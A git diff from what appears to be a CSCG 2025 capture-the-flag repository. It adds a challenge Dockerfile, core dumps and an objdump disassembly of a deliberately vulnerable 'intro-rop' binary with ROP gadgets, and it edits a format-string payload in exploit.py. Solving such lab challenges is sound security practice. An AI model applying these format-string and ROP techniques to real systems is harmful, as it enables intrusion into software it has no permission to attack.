diff --git a/cscg25/pwn/intro2/core.3724068 b/cscg25/pwn/intro2/core.3724068 new file mode 100644 index 0000000..23c1f18 Binary files /dev/null and b/cscg25/pwn/intro2/core.3724068 differ diff --git a/cscg25/pwn/intro2/core.3737878 b/cscg25/pwn/intro2/core.3737878 new file mode 100644 index 0000000..8020e07 Binary files /dev/null and b/cscg25/pwn/intro2/core.3737878 differ diff --git a/cscg25/pwn/intro2/exploit.py b/cscg25/pwn/intro2/exploit.py index 5998b8e..0cb48c4 100644 --- a/cscg25/pwn/intro2/exploit.py +++ b/cscg25/pwn/intro2/exploit.py @@ -23,7 +23,9 @@ bug_addr = 0x40406c # Example interaction recv_until(b'What is your name?') -payload = b"\x6c\x40\x40 %x %x %x %x %s" +payload = b"\x40\x40\x6c" + b"%08$6x\n" +print("enter if gdb attached") +input() send_payload(payload) interact() # Keep the shell open diff --git a/cscg25/pwn/intro3/Dockerfile b/cscg25/pwn/intro3/Dockerfile new file mode 100644 index 0000000..c194a60 --- /dev/null +++ b/cscg25/pwn/intro3/Dockerfile @@ -0,0 +1,56 @@ +FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS ynetd-builder + +ADD --chmod=0755 --checksum=sha256:c125df9762b0c7233459087bb840c0e5dbfc4d9690ee227f1ed8994f4d51d2e0 \ + https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.4/repro-sources-list.sh \ + /usr/local/bin/repro-sources-list.sh + +RUN --mount=type=cache,target=/var/cache/apt,sharing=locked --mount=type=cache,target=/var/lib/apt,sharing=locked \ + /usr/local/bin/repro-sources-list.sh && \ + apt-get update && \ + DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends --yes \ + musl-dev \ + musl-tools \ + make \ + xz-utils && \ + rm -f /usr/local/bin/repro-sources-list.sh + +WORKDIR /work + +ADD --chmod=0666 --checksum=sha256:4300f2fbc3996bc389d3c03a74662bfff3106ac1930942c5bd27580c7ba5053d \ + https://yx7.cc/code/ynetd/ynetd-0.1.2.tar.xz \ + /work/ynetd-0.1.2.tar.xz + +RUN tar -xJf ynetd-0.1.2.tar.xz && cd ynetd-0.1.2 && CC="musl-gcc" CFLAGS="-static" make + +FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS challenge-builder + +ADD --chmod=0755 --checksum=sha256:c125df9762b0c7233459087bb840c0e5dbfc4d9690ee227f1ed8994f4d51d2e0 \ + https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.4/repro-sources-list.sh \ + /usr/local/bin/repro-sources-list.sh + +RUN --mount=type=cache,target=/var/cache/apt,sharing=locked --mount=type=cache,target=/var/lib/apt,sharing=locked \ + /usr/local/bin/repro-sources-list.sh && \ + apt-get update && \ + DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends --yes \ + gcc libc-dev && \ + rm -f /usr/local/bin/repro-sources-list.sh + +WORKDIR /work + +COPY ./intro-rop.c /work/intro-rop.c + +RUN gcc ./intro-rop.c -o ./intro-rop + +RUN echo "e8004a854d4ad3ef7818f88632db90a31518445803d28fc7757d882ae162de1c ./intro-rop" | sha256sum -c + + +FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS runner + +COPY --from=ynetd-builder /work/ynetd-0.1.2/ynetd /ynetd + +COPY --from=challenge-builder /work/intro-rop /intro-rop +COPY ./flag /flag + +EXPOSE 1024 + +CMD ["/ynetd", "-se", "y", "-p", "1024", "/intro-rop"] \ No newline at end of file diff --git a/cscg25/pwn/intro3/core.3891920 b/cscg25/pwn/intro3/core.3891920 new file mode 100644 index 0000000..f359419 Binary files /dev/null and b/cscg25/pwn/intro3/core.3891920 differ diff --git a/cscg25/pwn/intro3/core.3892192 b/cscg25/pwn/intro3/core.3892192 new file mode 100644 index 0000000..40fb581 Binary files /dev/null and b/cscg25/pwn/intro3/core.3892192 differ diff --git a/cscg25/pwn/intro3/core.3892488 b/cscg25/pwn/intro3/core.3892488 new file mode 100644 index 0000000..578d204 Binary files /dev/null and b/cscg25/pwn/intro3/core.3892488 differ diff --git a/cscg25/pwn/intro3/core.3916686 b/cscg25/pwn/intro3/core.3916686 new file mode 100644 index 0000000..9cec91b Binary files /dev/null and b/cscg25/pwn/intro3/core.3916686 differ diff --git a/cscg25/pwn/intro3/dump b/cscg25/pwn/intro3/dump new file mode 100644 index 0000000..41ae7b3 --- /dev/null +++ b/cscg25/pwn/intro3/dump @@ -0,0 +1,550 @@ + +intro-rop: file format elf64-x86-64 + + +Disassembly of section .init: + +0000000000001000 <_init>: + 1000: 48 83 ec 08 sub rsp,0x8 + 1004: 48 8b 05 c5 2f 00 00 mov rax,QWORD PTR [rip+0x2fc5] # 3fd0 <__gmon_start__@Base> + 100b: 48 85 c0 test rax,rax + 100e: 74 02 je 1012 <_init+0x12> + 1010: ff d0 call rax + 1012: 48 83 c4 08 add rsp,0x8 + 1016: c3 ret + +Disassembly of section .plt: + +0000000000001020 : + 1020: ff 35 ca 2f 00 00 push QWORD PTR [rip+0x2fca] # 3ff0 <_GLOBAL_OFFSET_TABLE_+0x8> + 1026: ff 25 cc 2f 00 00 jmp QWORD PTR [rip+0x2fcc] # 3ff8 <_GLOBAL_OFFSET_TABLE_+0x10> + 102c: 0f 1f 40 00 nop DWORD PTR [rax+0x0] + +0000000000001030 : + 1030: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca] # 4000 + 1036: 68 00 00 00 00 push 0x0 + 103b: e9 e0 ff ff ff jmp 1020 <_init+0x20> + +0000000000001040 : + 1040: ff 25 c2 2f 00 00 jmp QWORD PTR [rip+0x2fc2] # 4008 + 1046: 68 01 00 00 00 push 0x1 + 104b: e9 d0 ff ff ff jmp 1020 <_init+0x20> + +0000000000001050 : + 1050: ff 25 ba 2f 00 00 jmp QWORD PTR [rip+0x2fba] # 4010 + 1056: 68 02 00 00 00 push 0x2 + 105b: e9 c0 ff ff ff jmp 1020 <_init+0x20> + +0000000000001060 : + 1060: ff 25 b2 2f 00 00 jmp QWORD PTR [rip+0x2fb2] # 4018 + 1066: 68 03 00 00 00 push 0x3 + 106b: e9 b0 ff ff ff jmp 1020 <_init+0x20> + +0000000000001070 : + 1070: ff 25 aa 2f 00 00 jmp QWORD PTR [rip+0x2faa] # 4020 + 1076: 68 04 00 00 00 push 0x4 + 107b: e9 a0 ff ff ff jmp 1020 <_init+0x20> + +0000000000001080 : + 1080: ff 25 a2 2f 00 00 jmp QWORD PTR [rip+0x2fa2] # 4028 + 1086: 68 05 00 00 00 push 0x5 + 108b: e9 90 ff ff ff jmp 1020 <_init+0x20> + +0000000000001090 : + 1090: ff 25 9a 2f 00 00 jmp QWORD PTR [rip+0x2f9a] # 4030 + 1096: 68 06 00 00 00 push 0x6 + 109b: e9 80 ff ff ff jmp 1020 <_init+0x20> + +00000000000010a0 : + 10a0: ff 25 92 2f 00 00 jmp QWORD PTR [rip+0x2f92] # 4038 + 10a6: 68 07 00 00 00 push 0x7 + 10ab: e9 70 ff ff ff jmp 1020 <_init+0x20> + +00000000000010b0 : + 10b0: ff 25 8a 2f 00 00 jmp QWORD PTR [rip+0x2f8a] # 4040 + 10b6: 68 08 00 00 00 push 0x8 + 10bb: e9 60 ff ff ff jmp 1020 <_init+0x20> + +00000000000010c0 : + 10c0: ff 25 82 2f 00 00 jmp QWORD PTR [rip+0x2f82] # 4048 + 10c6: 68 09 00 00 00 push 0x9 + 10cb: e9 50 ff ff ff jmp 1020 <_init+0x20> + +00000000000010d0 : + 10d0: ff 25 7a 2f 00 00 jmp QWORD PTR [rip+0x2f7a] # 4050 + 10d6: 68 0a 00 00 00 push 0xa + 10db: e9 40 ff ff ff jmp 1020 <_init+0x20> + +00000000000010e0 : + 10e0: ff 25 72 2f 00 00 jmp QWORD PTR [rip+0x2f72] # 4058 + 10e6: 68 0b 00 00 00 push 0xb + 10eb: e9 30 ff ff ff jmp 1020 <_init+0x20> + +00000000000010f0 <__isoc99_scanf@plt>: + 10f0: ff 25 6a 2f 00 00 jmp QWORD PTR [rip+0x2f6a] # 4060 <__isoc99_scanf@GLIBC_2.7> + 10f6: 68 0c 00 00 00 push 0xc + 10fb: e9 20 ff ff ff jmp 1020 <_init+0x20> + +0000000000001100 : + 1100: ff 25 62 2f 00 00 jmp QWORD PTR [rip+0x2f62] # 4068 + 1106: 68 0d 00 00 00 push 0xd + 110b: e9 10 ff ff ff jmp 1020 <_init+0x20> + +0000000000001110 : + 1110: ff 25 5a 2f 00 00 jmp QWORD PTR [rip+0x2f5a] # 4070 + 1116: 68 0e 00 00 00 push 0xe + 111b: e9 00 ff ff ff jmp 1020 <_init+0x20> + +Disassembly of section .plt.got: + +0000000000001120 <__cxa_finalize@plt>: + 1120: ff 25 ba 2e 00 00 jmp QWORD PTR [rip+0x2eba] # 3fe0 <__cxa_finalize@GLIBC_2.2.5> + 1126: 66 90 xchg ax,ax + +Disassembly of section .text: + +0000000000001130 <_start>: + 1130: 31 ed xor ebp,ebp + 1132: 49 89 d1 mov r9,rdx + 1135: 5e pop rsi + 1136: 48 89 e2 mov rdx,rsp + 1139: 48 83 e4 f0 and rsp,0xfffffffffffffff0 + 113d: 50 push rax + 113e: 54 push rsp + 113f: 45 31 c0 xor r8d,r8d + 1142: 31 c9 xor ecx,ecx + 1144: 48 8d 3d 54 05 00 00 lea rdi,[rip+0x554] # 169f
+ 114b: ff 15 6f 2e 00 00 call QWORD PTR [rip+0x2e6f] # 3fc0 <__libc_start_main@GLIBC_2.34> + 1151: f4 hlt + 1152: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0] + 1159: 00 00 00 + 115c: 0f 1f 40 00 nop DWORD PTR [rax+0x0] + +0000000000001160 : + 1160: 48 8d 3d b9 2f 00 00 lea rdi,[rip+0x2fb9] # 4120 + 1167: 48 8d 05 b2 2f 00 00 lea rax,[rip+0x2fb2] # 4120 + 116e: 48 39 f8 cmp rax,rdi + 1171: 74 15 je 1188 + 1173: 48 8b 05 4e 2e 00 00 mov rax,QWORD PTR [rip+0x2e4e] # 3fc8 <_ITM_deregisterTMCloneTable@Base> + 117a: 48 85 c0 test rax,rax + 117d: 74 09 je 1188 + 117f: ff e0 jmp rax + 1181: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0] + 1188: c3 ret + 1189: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0] + +0000000000001190 : + 1190: 48 8d 3d 89 2f 00 00 lea rdi,[rip+0x2f89] # 4120 + 1197: 48 8d 35 82 2f 00 00 lea rsi,[rip+0x2f82] # 4120 + 119e: 48 29 fe sub rsi,rdi + 11a1: 48 89 f0 mov rax,rsi + 11a4: 48 c1 ee 3f shr rsi,0x3f + 11a8: 48 c1 f8 03 sar rax,0x3 + 11ac: 48 01 c6 add rsi,rax + 11af: 48 d1 fe sar rsi,1 + 11b2: 74 14 je 11c8 + 11b4: 48 8b 05 1d 2e 00 00 mov rax,QWORD PTR [rip+0x2e1d] # 3fd8 <_ITM_registerTMCloneTable@Base> + 11bb: 48 85 c0 test rax,rax + 11be: 74 08 je 11c8 + 11c0: ff e0 jmp rax + 11c2: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0] + 11c8: c3 ret + 11c9: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0] + +00000000000011d0 <__do_global_dtors_aux>: + 11d0: f3 0f 1e fa endbr64 + 11d4: 80 3d 6d 2f 00 00 00 cmp BYTE PTR [rip+0x2f6d],0x0 # 4148 + 11db: 75 2b jne 1208 <__do_global_dtors_aux+0x38> + 11dd: 55 push rbp + 11de: 48 83 3d fa 2d 00 00 cmp QWORD PTR [rip+0x2dfa],0x0 # 3fe0 <__cxa_finalize@GLIBC_2.2.5> + 11e5: 00 + 11e6: 48 89 e5 mov rbp,rsp + 11e9: 74 0c je 11f7 <__do_global_dtors_aux+0x27> + 11eb: 48 8b 3d 96 2e 00 00 mov rdi,QWORD PTR [rip+0x2e96] # 4088 <__dso_handle> + 11f2: e8 29 ff ff ff call 1120 <__cxa_finalize@plt> + 11f7: e8 64 ff ff ff call 1160 + 11fc: c6 05 45 2f 00 00 01 mov BYTE PTR [rip+0x2f45],0x1 # 4148 + 1203: 5d pop rbp + 1204: c3 ret + 1205: 0f 1f 00 nop DWORD PTR [rax] + 1208: c3 ret + 1209: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0] + +0000000000001210 : + 1210: f3 0f 1e fa endbr64 + 1214: e9 77 ff ff ff jmp 1190 + +0000000000001219 : + 1219: 55 push rbp + 121a: 48 89 e5 mov rbp,rsp + 121d: 48 8b 05 fc 2e 00 00 mov rax,QWORD PTR [rip+0x2efc] # 4120 + 1224: b9 00 00 00 00 mov ecx,0x0 + 1229: ba 02 00 00 00 mov edx,0x2 + 122e: be 00 00 00 00 mov esi,0x0 + 1233: 48 89 c7 mov rdi,rax + 1236: e8 95 fe ff ff call 10d0 + 123b: 48 8b 05 ee 2e 00 00 mov rax,QWORD PTR [rip+0x2eee] # 4130 + 1242: b9 00 00 00 00 mov ecx,0x0 + 1247: ba 02 00 00 00 mov edx,0x2 + 124c: be 00 00 00 00 mov esi,0x0 + 1251: 48 89 c7 mov rdi,rax + 1254: e8 77 fe ff ff call 10d0 + 1259: 48 8b 05 e0 2e 00 00 mov rax,QWORD PTR [rip+0x2ee0] # 4140 + 1260: b9 00 00 00 00 mov ecx,0x0 + 1265: ba 02 00 00 00 mov edx,0x2 + 126a: be 00 00 00 00 mov esi,0x0 + 126f: 48 89 c7 mov rdi,rax + 1272: e8 59 fe ff ff call 10d0 + 1277: 90 nop + 1278: 5d pop rbp + 1279: c3 ret + +000000000000127a : + 127a: 58 pop rax + 127b: c3 ret + +000000000000127c : + 127c: 4c 01 cb add rbx,r9 + 127f: c3 ret + +0000000000001280 : + 1280: 48 8b 0b mov rcx,QWORD PTR [rbx] + 1283: c3 ret + +0000000000001284 : + 1284: 4c 89 c0 mov rax,r8 + 1287: 4c 89 cb mov rbx,r9 + 128a: 4c 89 d1 mov rcx,r10 + 128d: c3 ret + +000000000000128e : + 128e: 48 31 f9 xor rcx,rdi + 1291: 48 31 fb xor rbx,rdi + 1294: c3 ret + +0000000000001295 : + 1295: 50 push rax + 1296: c3 ret + +0000000000001297 : + 1297: 48 31 c0 xor rax,rax + 129a: 48 31 f6 xor rsi,rsi + 129d: c3 ret + +000000000000129e : + 129e: 48 83 e8 08 sub rax,0x8 + 12a2: 48 f7 ff idiv rdi + 12a5: c3 ret + +00000000000012a6 : + 12a6: 4c 01 c7 add rdi,r8 + 12a9: c3 ret + +00000000000012aa : + 12aa: 90 nop + 12ab: c3 ret + +00000000000012ac : + 12ac: 48 0f af d8 imul rbx,rax + 12b0: c3 ret + +00000000000012b1 : + 12b1: 4d 31 c1 xor r9,r8 + 12b4: 4d 31 c8 xor r8,r9 + 12b7: 4d 31 c1 xor r9,r8 + 12ba: c3 ret + +00000000000012bb : + 12bb: 48 89 f1 mov rcx,rsi + 12be: 4c 01 d1 add rcx,r10 + 12c1: c3 ret + +00000000000012c2 : + 12c2: 48 31 cf xor rdi,rcx + 12c5: 48 31 ce xor rsi,rcx + 12c8: c3 ret + +00000000000012c9 : + 12c9: 5b pop rbx + 12ca: 57 push rdi + 12cb: 53 push rbx + 12cc: c3 ret + +00000000000012cd : + 12cd: 5d pop rbp + 12ce: 5e pop rsi + 12cf: c3 ret + +00000000000012d0 : + 12d0: 55 push rbp + 12d1: 48 89 e5 mov rbp,rsp + 12d4: 48 83 ec 20 sub rsp,0x20 + 12d8: 48 89 7d e8 mov QWORD PTR [rbp-0x18],rdi + 12dc: be 01 00 00 00 mov esi,0x1 + 12e1: 48 8d 05 20 0d 00 00 lea rax,[rip+0xd20] # 2008 <_IO_stdin_used+0x8> + 12e8: 48 89 c7 mov rdi,rax + 12eb: e8 90 fd ff ff call 1080 + 12f0: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax + 12f4: 48 83 7d f8 00 cmp QWORD PTR [rbp-0x8],0x0 + 12f9: 75 2d jne 1328 + 12fb: e8 40 fd ff ff call 1040 + 1300: 48 89 c2 mov rdx,rax + 1303: 48 8b 05 36 2e 00 00 mov rax,QWORD PTR [rip+0x2e36] # 4140 + 130a: 48 8d 0d 01 0d 00 00 lea rcx,[rip+0xd01] # 2012 <_IO_stdin_used+0x12> + 1311: 48 89 ce mov rsi,rcx + 1314: 48 89 c7 mov rdi,rax + 1317: b8 00 00 00 00 mov eax,0x0 + 131c: e8 6f fd ff ff call 1090 + 1321: b8 00 00 00 00 mov eax,0x0 + 1326: eb 67 jmp 138f + 1328: 48 8b 55 e8 mov rdx,QWORD PTR [rbp-0x18] + 132c: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] + 1330: 48 89 d6 mov rsi,rdx + 1333: 48 89 c7 mov rdi,rax + 1336: e8 a5 fd ff ff call 10e0 + 133b: 48 89 45 f0 mov QWORD PTR [rbp-0x10],rax + 133f: 48 83 7d f0 00 cmp QWORD PTR [rbp-0x10],0x0 + 1344: 75 39 jne 137f + 1346: e8 f5 fc ff ff call 1040 + 134b: 48 89 c2 mov rdx,rax + 134e: 48 8b 05 eb 2d 00 00 mov rax,QWORD PTR [rip+0x2deb] # 4140 + 1355: 48 8d 0d d4 0c 00 00 lea rcx,[rip+0xcd4] # 2030 <_IO_stdin_used+0x30> + 135c: 48 89 ce mov rsi,rcx + 135f: 48 89 c7 mov rdi,rax + 1362: b8 00 00 00 00 mov eax,0x0 + 1367: e8 24 fd ff ff call 1090 + 136c: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] + 1370: 48 89 c7 mov rdi,rax + 1373: e8 98 fd ff ff call 1110 + 1378: b8 00 00 00 00 mov eax,0x0 + 137d: eb 10 jmp 138f + 137f: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] + 1383: 48 89 c7 mov rdi,rax + 1386: e8 85 fd ff ff call 1110 + 138b: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10] + 138f: c9 leave + 1390: c3 ret + +0000000000001391 : + 1391: 55 push rbp + 1392: 48 89 e5 mov rbp,rsp + 1395: 48 83 ec 10 sub rsp,0x10 + 1399: be 01 00 00 00 mov esi,0x1 + 139e: 48 8d 05 63 0c 00 00 lea rax,[rip+0xc63] # 2008 <_IO_stdin_used+0x8> + 13a5: 48 89 c7 mov rdi,rax + 13a8: e8 d3 fc ff ff call 1080 + 13ad: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax + 13b1: 48 83 7d f8 00 cmp QWORD PTR [rbp-0x8],0x0 + 13b6: 75 30 jne 13e8 + 13b8: e8 83 fc ff ff call 1040 + 13bd: 48 89 c2 mov rdx,rax + 13c0: 48 8b 05 79 2d 00 00 mov rax,QWORD PTR [rip+0x2d79] # 4140 + 13c7: 48 8d 0d 44 0c 00 00 lea rcx,[rip+0xc44] # 2012 <_IO_stdin_used+0x12> + 13ce: 48 89 ce mov rsi,rcx + 13d1: 48 89 c7 mov rdi,rax + 13d4: b8 00 00 00 00 mov eax,0x0 + 13d9: e8 b2 fc ff ff call 1090 + 13de: b8 00 00 00 00 mov eax,0x0 + 13e3: e9 81 00 00 00 jmp 1469 + 13e8: 48 8d 55 f0 lea rdx,[rbp-0x10] + 13ec: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] + 13f0: be 02 00 00 00 mov esi,0x2 + 13f5: 48 89 c7 mov rdi,rax + 13f8: e8 33 fc ff ff call 1030 + 13fd: 85 c0 test eax,eax + 13ff: 74 39 je 143a + 1401: e8 3a fc ff ff call 1040 + 1406: 48 89 c2 mov rdx,rax + 1409: 48 8b 05 30 2d 00 00 mov rax,QWORD PTR [rip+0x2d30] # 4140 + 1410: 48 8d 0d 3b 0c 00 00 lea rcx,[rip+0xc3b] # 2052 <_IO_stdin_used+0x52> + 1417: 48 89 ce mov rsi,rcx + 141a: 48 89 c7 mov rdi,rax + 141d: b8 00 00 00 00 mov eax,0x0 + 1422: e8 69 fc ff ff call 1090 + 1427: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] + 142b: 48 89 c7 mov rdi,rax + 142e: e8 dd fc ff ff call 1110 + 1433: b8 00 00 00 00 mov eax,0x0 + 1438: eb 2f jmp 1469 + 143a: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] + 143e: 48 89 c7 mov rdi,rax + 1441: e8 ca fc ff ff call 1110 + 1446: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10] + 144a: 48 8b 00 mov rax,QWORD PTR [rax] + 144d: 48 89 c7 mov rdi,rax + 1450: b9 08 00 00 00 mov ecx,0x8 + 1455: 48 8d 05 12 0c 00 00 lea rax,[rip+0xc12] # 206e <_IO_stdin_used+0x6e> + 145c: 48 89 c2 mov rdx,rax + 145f: be 00 00 00 10 mov esi,0x10000000 + 1464: e8 37 fc ff ff call 10a0 + 1469: c9 leave + 146a: c3 ret + +000000000000146b : + 146b: 55 push rbp + 146c: 48 89 e5 mov rbp,rsp + 146f: 48 83 ec 40 sub rsp,0x40 + 1473: 48 8d 05 66 29 00 00 lea rax,[rip+0x2966] # 3de0 <_DYNAMIC> + 147a: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax + 147e: 48 8d 55 d0 lea rdx,[rbp-0x30] + 1482: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] + 1486: 48 89 d6 mov rsi,rdx + 1489: 48 89 c7 mov rdi,rax + 148c: e8 cf fb ff ff call 1060 + 1491: 85 c0 test eax,eax + 1493: 75 26 jne 14bb + 1495: e8 a6 fb ff ff call 1040 + 149a: 48 89 c2 mov rdx,rax + 149d: 48 8b 05 9c 2c 00 00 mov rax,QWORD PTR [rip+0x2c9c] # 4140 + 14a4: 48 8d 0d cd 0b 00 00 lea rcx,[rip+0xbcd] # 2078 <_IO_stdin_used+0x78> + 14ab: 48 89 ce mov rsi,rcx + 14ae: 48 89 c7 mov rdi,rax + 14b1: b8 00 00 00 00 mov eax,0x0 + 14b6: e8 d5 fb ff ff call 1090 + 14bb: 48 8d 05 d9 0b 00 00 lea rax,[rip+0xbd9] # 209b <_IO_stdin_used+0x9b> + 14c2: 48 89 c7 mov rdi,rax + 14c5: e8 06 fe ff ff call 12d0 + 14ca: 48 89 45 c8 mov QWORD PTR [rbp-0x38],rax + 14ce: 48 8b 45 d8 mov rax,QWORD PTR [rbp-0x28] + 14d2: 48 8d 55 c8 lea rdx,[rbp-0x38] + 14d6: b9 08 00 00 00 mov ecx,0x8 + 14db: be 00 00 01 00 mov esi,0x10000 + 14e0: 48 89 c7 mov rdi,rax + 14e3: e8 b8 fb ff ff call 10a0 + 14e8: c9 leave + 14e9: c3 ret + +00000000000014ea : + 14ea: 55 push rbp + 14eb: 48 89 e5 mov rbp,rsp + 14ee: 53 push rbx + 14ef: 48 83 ec 48 sub rsp,0x48 + 14f3: bf 00 00 10 00 mov edi,0x100000 + 14f8: e8 c3 fb ff ff call 10c0 + 14fd: 48 89 45 e0 mov QWORD PTR [rbp-0x20],rax + 1501: 48 8d 05 98 0b 00 00 lea rax,[rip+0xb98] # 20a0 <_IO_stdin_used+0xa0> + 1508: 48 89 c7 mov rdi,rax + 150b: e8 40 fb ff ff call 1050 + 1510: 48 8d 05 b1 0b 00 00 lea rax,[rip+0xbb1] # 20c8 <_IO_stdin_used+0xc8> + 1517: 48 89 c7 mov rdi,rax + 151a: e8 31 fb ff ff call 1050 + 151f: c7 45 b4 00 00 00 00 mov DWORD PTR [rbp-0x4c],0x0 + 1526: c7 45 ec 00 00 00 00 mov DWORD PTR [rbp-0x14],0x0 + 152d: c7 45 dc 10 00 00 00 mov DWORD PTR [rbp-0x24],0x10 + 1534: b8 00 00 00 00 mov eax,0x0 + 1539: e8 53 fe ff ff call 1391 + 153e: 48 89 c3 mov rbx,rax + 1541: 48 8d 05 53 0b 00 00 lea rax,[rip+0xb53] # 209b <_IO_stdin_used+0x9b> + 1548: 48 89 c7 mov rdi,rax + 154b: e8 80 fd ff ff call 12d0 + 1550: 48 29 c3 sub rbx,rax + 1553: 48 89 da mov rdx,rbx + 1556: 48 89 55 d0 mov QWORD PTR [rbp-0x30],rdx + 155a: 48 8d 05 8f 0b 00 00 lea rax,[rip+0xb8f] # 20f0 <_IO_stdin_used+0xf0> + 1561: 48 89 c7 mov rdi,rax + 1564: e8 67 fd ff ff call 12d0 + 1569: 48 89 c3 mov rbx,rax + 156c: 48 8d 05 28 0b 00 00 lea rax,[rip+0xb28] # 209b <_IO_stdin_used+0x9b> + 1573: 48 89 c7 mov rdi,rax + 1576: e8 55 fd ff ff call 12d0 + 157b: 48 29 c3 sub rbx,rax + 157e: 48 89 da mov rdx,rbx + 1581: 48 89 55 c8 mov QWORD PTR [rbp-0x38],rdx + 1585: b8 00 00 00 00 mov eax,0x0 + 158a: e8 dc fe ff ff call 146b + 158f: 48 89 45 c0 mov QWORD PTR [rbp-0x40],rax + 1593: e9 97 00 00 00 jmp 162f + 1598: 48 8d 05 58 0b 00 00 lea rax,[rip+0xb58] # 20f7 <_IO_stdin_used+0xf7> + 159f: 48 89 c7 mov rdi,rax + 15a2: b8 00 00 00 00 mov eax,0x0 + 15a7: e8 c4 fa ff ff call 1070 + 15ac: 48 8d 45 b4 lea rax,[rbp-0x4c] + 15b0: 48 89 c6 mov rsi,rax + 15b3: 48 8d 05 55 0b 00 00 lea rax,[rip+0xb55] # 210f <_IO_stdin_used+0x10f> + 15ba: 48 89 c7 mov rdi,rax + 15bd: b8 00 00 00 00 mov eax,0x0 + 15c2: e8 29 fb ff ff call 10f0 <__isoc99_scanf@plt> + 15c7: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c] + 15ca: 39 45 dc cmp DWORD PTR [rbp-0x24],eax + 15cd: 7e 0f jle 15de + 15cf: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c] + 15d2: 85 c0 test eax,eax + 15d4: 79 21 jns 15f7 + 15d6: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c] + 15d9: 83 f8 ff cmp eax,0xffffffff + 15dc: 74 19 je 15f7 + 15de: 48 8d 05 2d 0b 00 00 lea rax,[rip+0xb2d] # 2112 <_IO_stdin_used+0x112> + 15e5: 48 89 c7 mov rdi,rax + 15e8: e8 63 fa ff ff call 1050 + 15ed: bf ff ff ff ff mov edi,0xffffffff + 15f2: e8 09 fb ff ff call 1100 + 15f7: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c] + 15fa: 48 98 cdqe + 15fc: 48 8d 14 c5 00 00 00 lea rdx,[rax*8+0x0] + 1603: 00 + 1604: 48 8d 05 95 2a 00 00 lea rax,[rip+0x2a95] # 40a0 + 160b: 48 8b 0c 02 mov rcx,QWORD PTR [rdx+rax*1] + 160f: 8b 45 ec mov eax,DWORD PTR [rbp-0x14] + 1612: 8d 50 01 lea edx,[rax+0x1] + 1615: 89 55 ec mov DWORD PTR [rbp-0x14],edx + 1618: 48 98 cdqe + 161a: 48 8d 14 c5 00 00 00 lea rdx,[rax*8+0x0] + 1621: 00 + 1622: 48 8b 45 e0 mov rax,QWORD PTR [rbp-0x20] + 1626: 48 01 d0 add rax,rdx + 1629: 48 89 ca mov rdx,rcx + 162c: 48 89 10 mov QWORD PTR [rax],rdx + 162f: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c] + 1632: 83 f8 ff cmp eax,0xffffffff + 1635: 0f 85 5d ff ff ff jne 1598 + 163b: 48 8d 05 e4 0a 00 00 lea rax,[rip+0xae4] # 2126 <_IO_stdin_used+0x126> + 1642: 48 89 c7 mov rdi,rax + 1645: e8 06 fa ff ff call 1050 + 164a: 48 c7 45 b8 00 00 00 mov QWORD PTR [rbp-0x48],0x0 + 1651: 00 + 1652: 48 89 e8 mov rax,rbp + 1655: 48 89 45 b8 mov QWORD PTR [rbp-0x48],rax + 1659: 48 83 45 b8 08 add QWORD PTR [rbp-0x48],0x8 + 165e: 8b 45 ec mov eax,DWORD PTR [rbp-0x14] + 1661: c1 e0 03 shl eax,0x3 + 1664: 48 63 d0 movsxd rdx,eax + 1667: 48 8b 45 b8 mov rax,QWORD PTR [rbp-0x48] + 166b: 48 8b 4d e0 mov rcx,QWORD PTR [rbp-0x20] + 166f: 48 89 ce mov rsi,rcx + 1672: 48 89 c7 mov rdi,rax + 1675: e8 36 fa ff ff call 10b0 + 167a: 48 8b 45 e0 mov rax,QWORD PTR [rbp-0x20] + 167e: 48 8b 55 c8 mov rdx,QWORD PTR [rbp-0x38] + 1682: 48 8b 4d c0 mov rcx,QWORD PTR [rbp-0x40] + 1686: 48 8b 75 d0 mov rsi,QWORD PTR [rbp-0x30] + 168a: 48 89 c4 mov rsp,rax + 168d: 49 89 d0 mov r8,rdx + 1690: 49 89 c9 mov r9,rcx + 1693: 49 89 f2 mov r10,rsi + 1696: c9 leave + 1697: c3 ret + 1698: 90 nop + 1699: 48 8b 5d f8 mov rbx,QWORD PTR [rbp-0x8] + 169d: c9 leave + 169e: c3 ret + +000000000000169f
